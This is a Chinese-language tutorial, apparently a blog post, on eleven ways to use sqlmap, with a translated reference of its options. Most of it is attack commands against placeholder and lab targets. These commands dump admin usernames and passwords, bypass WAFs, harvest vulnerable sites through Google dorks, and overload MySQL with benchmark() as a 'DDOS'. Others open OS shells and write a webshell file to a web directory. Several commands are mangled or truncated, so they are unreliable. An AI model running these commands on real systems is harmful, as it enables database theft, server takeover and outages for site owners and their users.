SQLMAP注入教程-11種常見SQLMAP使用方法詳解

sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工具,只是一個便捷性問題,sql注入另一方面就是手工黨了,這個就另當別論了。

一共有11種常見SQLmap使用方法:

一、SQLMAP用于Access數據庫注入

(1) 猜解是否能注入

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

Linux : .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"

(2) 猜解表

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables

(3) 根據猜解的表進行猜解表的字段(假如通過2得到了admin這個表)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin

(4) 根據字段猜解內容(假如通過3得到字段為username和password)

win: python sqlmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C "username,password"

Linux: .lmap.py -u "http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C

"username,Bpassword"

二、SQLMAP用于Cookie注入

(1) cookie注入,猜解表

win : python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --table --level 2

(2) 猜解字段,(通過1的表猜解字段,假如表為admin)

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --columns -T

admin --level 2

(3) 猜解內容

win :python sqlmap.py -u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --dump -T

admin -C "username,password" --level 2

三、SQLMAP用于mysql中DDOS攻擊(1) 獲取一個Shell

win:

python sqlmap.py -uhttp://192.168.159.1/news.php?id=1--sql-shell

Linux:

sqlmap -uhttp://192.168.159.1/news.php?id=1--sql-shell

(2) 輸入執行語句完成DDOS攻擊

select benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)

四、SQLMAP用于mysql注入

(1) 查找數據庫

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"--dbs

(2) 通過第一步的數據庫查找表(假如數據庫名為dataname)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname --tables

(3) 通過2中的表得出列名(假如表為table_name)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname -T table_name --columns

(4) 獲取字段的值(假如掃描出id,user,password字段)

python sqlmap.py -u "http://www.xxx.com/link.php?id=321"-D dataname -T table_name -C

"id,user,password" --dump

五、SQLMAP中post登陸框注入

(1) 其中的search-test.txt是通過抓包工具burp suite抓到的包并把數據保存為這個txt文件我們在使用Sqlmap進行post型注入時,經常會出現請求遺漏導致注入失敗的情況。這里分享一個小技巧,即結合burpsuite來使用sqlmap,用這種方法進行post注入測試會更準確,操作起來也非常容易。

1. 瀏覽器打開目標地址http://?www.xxx.com?/Login.asp

2. 配置burp代理(127.0.0.1:8080)以攔截請求

3. 點擊login表單的submit按鈕

4. 這時候Burp會攔截到了我們的登錄POST請求

5. 把這個post請求復制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下

6. 運行sqlmap并使用如下命令:

./sqlmap.py -r search-test.txt -p tfUPass

這里參數-r 是讓sqlmap加載我們的post請求rsearch-test.txt,而-p 大家應該比較熟悉,指定注入用的參數。

注入點:http://testasp.vulnweb.com/Login.asp

幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass

(2) 自動的搜索

sqlmap -uhttp://testasp.vulnweb.com/Login.asp--forms

(3) 指定參數搜索

sqlmap -uhttp://testasp.vulnweb.com/Login.asp--data "tfUName=321&tfUPass=321"

六、SQLMAP中Google搜索注入

inurl后面的語言是由自己定的

注入過程中如果選y是注入,如果不是選n

sqlmap -g inurl:php?id=

七、SQLMAP中的請求延遲

參數 --delay --safe-freq

python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/ ... ot%3B--delay 1

python sqlmap.py --dbs -u "http://xxx.cn/index.php/Index/ ... ot%3B--safe-freq 3

參數

八、SQLMAP繞過WAF防火墻

注入點:http://192.168.159.1/news.php?id=1

sqlmap -uhttp://192.168.159.1/news.php?id=1-v 3 --dbs --batch --tamper "space2morehash.py"

space2morehash.py中可以替換space2hash.py或者base64encode.py或者charencode.py

都是編碼方式

space2hash.py base64encode.py charencode.py

九、SQLMAP查看權限

sqlmap -uhttp://192.168.159.1/news.php?id=1--privileges

十、SQLMAP偽靜態注入(1) 查找數據庫

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B--dbs

(2) 通過1中的數據庫查找對應的表 (假如通過1,得到的是dataname)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname --tables

(3) 通過2中的數據表得到字段(假如得到的是tablename表)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname -T

tablename --columns

(4) 通過3得到字段值(假如從3中得到字段id,password)

python sqlmap.py -u "http://xxx.cn/index.php/Index/ ... ot%3B-D dataname -T

tablename -C "password" --dump

十一、SQLMAP注入點執行命令與交互寫shell

(1) 注入點:http://192.168.159.1/news.php?id=1

此處采用的是Linux系統

sqlmap -uhttp://192.168.159.1/news.php?id=1--os-cmd=ipconfig

出現語言的選擇根據實際的測試網站選擇語言

指定目標站點D:/www/

(2) 獲取Shell

sqlmap -uhttp://192.168.159.1/news.php?id=1--os-shell

出現語言的選擇根據實際的測試網站選擇語言

指定目標站點D:/www/

輸入ipconfig/all

創建用戶和刪除用戶

只要權限足夠大,你可以輸入使用任何命令。

其他命令參考下面:

從數據庫中搜索字段

sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password

在dedecms數據庫中搜索字段admin或者password。

讀取與寫入文件

首先找需要網站的物理路徑,其次需要有可寫或可讀權限。

–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件 (物理路徑)

–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件 (mssql xp_shell)

–file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑

#示例:[

sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”

使用shell命令:

sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell

接下來指定網站可寫目錄:

“E:\php\htdocs\dvwa”

#注:mysql不支持列目錄,僅支持讀取單個文件。sqlserver可以列目錄,不能讀寫文件,但需要一個(xp_dirtree函數)

sqlmap詳細命令:

-is-dba 當前用戶權限(是否為root權限)

-dbs 所有數據庫

-current-db 網站當前數據庫

-users 所有數據庫用戶

-current-user 當前數據庫用戶

-random-agent 構造隨機user-agent

-passwords 數據庫密碼

-proxyhttp://local:8080–threads 10 (可以自定義線程加速) 代理

-time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)

Options(選項):

-version 顯示程序的版本號并退出

-h, –help 顯示此幫助消息并退出

-v VERBOSE 詳細級別:0-6(默認為1)

Target(目標):

以下至少需要設置其中一個選項,設置目標URL。

-d DIRECT 直接連接到數據庫。

-u URL, –url=URL 目標URL。

-l LIST 從Burp或WebScarab代理的日志中解析目標。

-r REQUESTFILE 從一個文件中載入HTTP請求。

-g GOOGLEDORK 處理Google dork的結果作為目標URL。

-c CONFIGFILE 從INI配置文件中加載選項。

Request(請求):

這些選項可以用來指定如何連接到目標URL。

-data=DATA 通過POST發送的數據字符串

-cookie=COOKIE HTTP Cookie頭

-cookie-urlencode URL 編碼生成的cookie注入

-drop-set-cookie 忽略響應的Set – Cookie頭信息

-user-agent=AGENT 指定 HTTP User – Agent頭

-random-agent 使用隨機選定的HTTP User – Agent頭

-referer=REFERER 指定 HTTP Referer頭

-headers=HEADERS 換行分開,加入其他的HTTP頭

-auth-type=ATYPE HTTP身份驗證類型(基本,摘要或NTLM)(Basic, Digest or NTLM)

-auth-cred=ACRED HTTP身份驗證憑據(用戶名:密碼)

-auth-cert=ACERT HTTP認證證書(key_file,cert_file)

-proxy=PROXY 使用HTTP代理連接到目標URL

-proxy-cred=PCRED HTTP代理身份驗證憑據(用戶名:密碼)

-ignore-proxy 忽略系統默認的HTTP代理

-delay=DELAY 在每個HTTP請求之間的延遲時間,單位為秒

-timeout=TIMEOUT 等待連接超時的時間(默認為30秒)

-retries=RETRIES 連接超時后重新連接的時間(默認3)

-scope=SCOPE 從所提供的代理日志中過濾器目標的正則表達式

-safe-url=SAFURL 在測試過程中經常訪問的url地址

-safe-freq=SAFREQ 兩次訪問之間測試請求,給出安全的URL

Enumeration(枚舉):

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行您自己的SQL語句。

-b, –banner 檢索數據庫管理系統的標識

-current-user 檢索數據庫管理系統當前用戶

-current-db 檢索數據庫管理系統當前數據庫

-is-dba 檢測DBMS當前用戶是否DBA

-users 枚舉數據庫管理系統用戶

-passwords 枚舉數據庫管理系統用戶密碼哈希

-privileges 枚舉數據庫管理系統用戶的權限

-roles 枚舉數據庫管理系統用戶的角色

-dbs 枚舉數據庫管理系統數據庫

-D DBname 要進行枚舉的指定數據庫名

-T TBLname 要進行枚舉的指定數據庫表(如:-T tablename –columns)

-tables 枚舉的DBMS數據庫中的表

-columns 枚舉DBMS數據庫表列

-dump 轉儲數據庫管理系統的數據庫中的表項

-dump-all 轉儲所有的DBMS數據庫表中的條目

-search 搜索列(S),表(S)和/或數據庫名稱(S)

-C COL 要進行枚舉的數據庫列

-U USER 用來進行枚舉的數據庫用戶

-exclude-sysdbs 枚舉表時排除系統數據庫

-start=LIMITSTART 第一個查詢輸出進入檢索

-stop=LIMITSTOP 最后查詢的輸出進入檢索

-first=FIRSTCHAR 第一個查詢輸出字的字符檢索

-last=LASTCHAR 最后查詢的輸出字字符檢索

-sql-query=QUERY 要執行的SQL語句

-sql-shell 提示交互式SQL的shell

Optimization(優化):

這些選項可用于優化SqlMap的性能。

-o 開啟所有優化開關

–predict-output 預測常見的查詢輸出

–keep-alive 使用持久的HTTP(S)連接

–null-connection 從沒有實際的HTTP響應體中檢索頁面長度

–threads=THREADS 最大的HTTP(S)請求并發量(默認為1)

Injection(注入):

這些選項可以用來指定測試哪些參數, 提供自定義的注入payloads和可選篡改腳本。

-p TESTPARAMETER 可測試的參數(S)

–dbms=DBMS 強制后端的DBMS為此值

–os=OS 強制后端的DBMS操作系統為這個值

–prefix=PREFIX 注入payload字符串前綴

–suffix=SUFFIX 注入payload字符串后綴

–tamper=TAMPER 使用給定的腳本(S)篡改注入數據

Detection(檢測):

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容。

–level=LEVEL 執行測試的等級(1-5,默認為1)

–risk=RISK 執行測試的風險(0-3,默認為1)

–string=STRING 查詢時有效時在頁面匹配字符串

–regexp=REGEXP 查詢時有效時在頁面匹配正則表達式

–text-only 僅基于在文本內容比較網頁

Techniques(技巧):這些選項可用于調整具體的SQL注入測試。

–technique=TECH SQL注入技術測試(默認BEUST)

–time-sec=TIMESEC DBMS響應的延遲時間(默認為5秒)

–union-cols=UCOLS 定列范圍用于測試UNION查詢注入

–union-char=UCHAR 用于暴力猜解列數的字符

Fingerprint(指紋):-f, –fingerprint 執行檢查廣泛的DBMS版本指紋

Brute force(蠻力):

這些選項可以被用來運行蠻力檢查。

–common-tables 檢查存在共同表

–common-columns 檢查存在共同列

User-defined function injection(用戶自定義函數注入):

這些選項可以用來創建用戶自定義函數。

–udf-inject 注入用戶自定義函數

–shared-lib=SHLIB 共享庫的本地路徑

File system access(訪問文件系統):

這些選項可以被用來訪問后端數據庫管理系統的底層文件系統。

–file-read=RFILE 從后端的數據庫管理系統文件系統讀取文件

–file-write=WFILE 編輯后端的數據庫管理系統文件系統上的本地文件

–file-dest=DFILE 后端的數據庫管理系統寫入文件的絕對路徑

Operating system access(操作系統訪問):

這些選項可以用于訪問后端數據庫管理系統的底層操作系統。

–os-cmd=OSCMD 執行操作系統命令

–os-shell 交互式的操作系統的shell

–os-pwn 獲取一個OOB shell,meterpreter或VNC

–os-smbrelay 一鍵獲取一個OOB shell,meterpreter或VNC

–os-bof 存儲過程緩沖區溢出利用

–priv-esc 數據庫進程用戶權限提升

–msf-path=MSFPATH Metasploit Framework本地的安裝路徑

–tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑

Windows注冊表訪問:

這些選項可以被用來訪問后端數據庫管理系統Windows注冊表。

–reg-read 讀一個Windows注冊表項值

–reg-add 寫一個Windows注冊表項值數據

–reg-del 刪除Windows注冊表鍵值

–reg-key=REGKEY Windows注冊表鍵

–reg-value=REGVAL Windows注冊表項值

–reg-data=REGDATA Windows注冊表鍵值數據

–reg-type=REGTYPE Windows注冊表項值類型

這些選項可以用來設置一些一般的工作參數。

-t TRAFFICFILE 記錄所有HTTP流量到一個文本文件中

-s SESSIONFILE 保存和恢復檢索會話文件的所有數據

–flush-session 刷新當前目標的會話文件

–fresh-queries 忽略在會話文件中存儲的查詢結果

–eta 顯示每個輸出的預計到達時間

–update 更新SqlMap

–save file保存選項到INI配置文件

–batch 從不詢問用戶輸入,使用所有默認配置。

Miscellaneous(雜項):

–beep 發現SQL注入時提醒

–check-payload IDS對注入payloads的檢測測試

–cleanup SqlMap具體的UDF和表清理DBMS

–forms 對目標URL的解析和測試形式

–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結果

–page-rank Google dork結果顯示網頁排名(PR)

–parse-errors 從響應頁面解析數據庫管理系統的錯誤消息

–replicate 復制轉儲的數據到一個sqlite3數據庫

–tor 使用默認的Tor(Vidalia/ Privoxy/ Polipo)代理地址

–wizard 給初級用戶的簡單向導界面

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 227,967評論 6 531
  • 序言:濱河連續發生了三起死亡事件,死亡現場離奇詭異,居然都是意外死亡,警方通過查閱死者的電腦和手機,發現死者居然都...
    沈念sama閱讀 98,273評論 3 415
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事?!?“怎么了?”我有些...
    開封第一講書人閱讀 175,870評論 0 373
  • 文/不壞的土叔 我叫張陵,是天一觀的道長。 經常有香客問我,道長,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 62,742評論 1 309
  • 正文 為了忘掉前任,我火速辦了婚禮,結果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己,他們只是感情好,可當我...
    茶點故事閱讀 71,527評論 6 407
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發上,一...
    開封第一講書人閱讀 55,010評論 1 322
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死,一個胖子當著我的面吹牛,可吹牛的內容都是我干的。 我是一名探鬼主播,決...
    沈念sama閱讀 43,108評論 3 440
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 42,250評論 0 288
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發現了一具尸體,經...
    沈念sama閱讀 48,769評論 1 333
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 40,656評論 3 354
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發現自己被綠了。 大學時的朋友給我發了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 42,853評論 1 369
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖,靈堂內的尸體忽然破棺而出,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 38,371評論 5 358
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響,放射性物質發生泄漏。R本人自食惡果不足惜,卻給世界環境...
    茶點故事閱讀 44,103評論 3 347
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 34,472評論 0 26
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至,卻和暖如春,著一層夾襖步出監牢的瞬間,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 35,717評論 1 281
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人。 一個月前我還...
    沈念sama閱讀 51,487評論 3 390
  • 正文 我出身青樓,卻偏偏與公主長得像,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 47,815評論 2 372

推薦閱讀更多精彩內容

  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 當給sq...
    xuningbo閱讀 10,372評論 2 22
  • sqlmap用戶手冊 說明:本文為轉載,對原文中一些明顯的拼寫錯誤進行修正,并標注對自己有用的信息。 ======...
    wind_飄閱讀 2,070評論 0 5
  • sqlmap也是滲透中常用的一個注入工具,其實在注入工具方面,一個sqlmap就足夠用了,只要你用的熟,秒殺各種工...
    查無此人asdasd閱讀 1,563評論 0 1
  • SQLMAP作用 判斷可注入的參數 判斷可以用哪種SQL注入技術來注入 識別出哪種數據庫 根據用戶選擇,讀取哪些數...
    陸灑脫閱讀 3,734評論 1 4
  • 好想好想埋怨面條啊 她推薦我看花樣青春 老撾篇和三時三餐 真的太好看了 本來是想看柳演錫 結果覺得孫浩俊好可愛 看...
    是多肉閱讀 213評論 0 1